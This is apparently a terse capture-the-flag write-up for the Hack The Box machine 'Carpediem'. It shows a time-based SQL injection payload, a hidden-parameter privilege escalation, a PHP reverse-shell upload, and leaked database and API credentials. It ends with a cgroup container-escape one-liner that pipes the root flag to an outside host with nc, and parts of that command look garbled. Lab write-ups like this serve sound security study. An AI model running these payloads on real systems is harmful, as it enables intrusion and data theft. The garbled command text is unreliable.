Carpediem - HTB - Key Points
November 18, 2022•930 words
Target's IP: 10.10.11.167
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Hostname revealed: carpediem.htb
Through subdomain enumeration, we can find a new domain name as well: portal.carpediem.htb
There is a request subject to SQL injection:
GET /?p=bikes&c=c4ca4238a0b923820dcc509a6f75849b'%2b(selectfrom(select(sleep(20)))a)%2b'
Automating with SQLmap, we can dump the entire database, including the admin's hash:
1,uploads/1635793020HONDAXADV.png,Male,<blank>,jhammond@carpediem.htb,Hammond,b723e511b084ab84b44235d82da572f3,admin,Jeremy,2021-01-20 14:02:37,NULL,1,202>
According to https://md5hashing.net/hash/md5/baced3bd752aaeec34fd9fe0a18f1ead:
b723e511b084ab84b44235d82da572f3 == azdzad
It turns out, this was a complete rabbithole, so...great.
Registering a user and managing your profile, in the update request there is a parameter that is not shown in the form on the web app, called logintype. It is automatically set to 2, but what happens if we intercept and change it to 1?
id=1011&logintype=1&firstname=aeta&lastname=aeta&contact=aeta&gender=Male&address=aeta&username=aeta&password=
You get admin privileges on the web app.
The app allows for php files upload in the functionality that is not fully released, so upload a php reverse shell and get your first shell of this box (many to come...)
We are inside a docker container as www-data. We can read all the files relative to the web application, so let's find something interesting there.
/var/www/html/portal/classes/DBConnection.php
private $host = 'mysql';
private $username = 'portaldb';
private $password = 'J5tnqsXpyzkK4XNt';
private $database = 'portal';
trudesk.php
class TrudeskConnection{
private $host = 'trudesk.carpediem.htb';
private $apikey = 'f8691bd2d8d613ec89337b5cd5a98554f8fffcc4';
private $username = 'svc-portal-tickets';
private $password = '';
private $database = '';
}
nmap -sn 172.17.0.0/24
Nmap scan report for 172.17.0.1
Host is up (0.0013s latency).
Nmap scan report for 172.17.0.2
Host is up (0.00065s latency).
Nmap scan report for mysql (172.17.0.3)
Host is up (0.00045s latency).
Nmap scan report for 172.17.0.4
Host is up (0.00034s latency).
Nmap scan report for 172.17.0.5
Host is up (0.00026s latency).
Nmap scan report for 3c371615b7aa (172.17.0.6)
.0.1 open ports:
22, 80
.0.2
21,80,443
.0.3
3306
.0.4
27017
.0.5
8118
.0.6
80
> db.accounts.update({"id" : ObjectId("623c8b20855cc5001a8ba13c")}, {$set: {"password": "$2b$10$PEg1...3yI."}})
umount /tmp/cgrp && rm -rf /tmp/cgrp && mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x && echo 1 > /tmp/cgrp/x/notifyonrelease && hostpath=`sed -n 's/.\perdir=([,])./\1/p' /etc/mtab` && echo "$hostpath/cmd" > /tmp/cgrp/releaseagent && echo '#!/bin/sh' > /cmd && echo "nc 10.10.14.24 8989 < /root/root.txt" >> /cmd && chmod a+x /cmd && sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"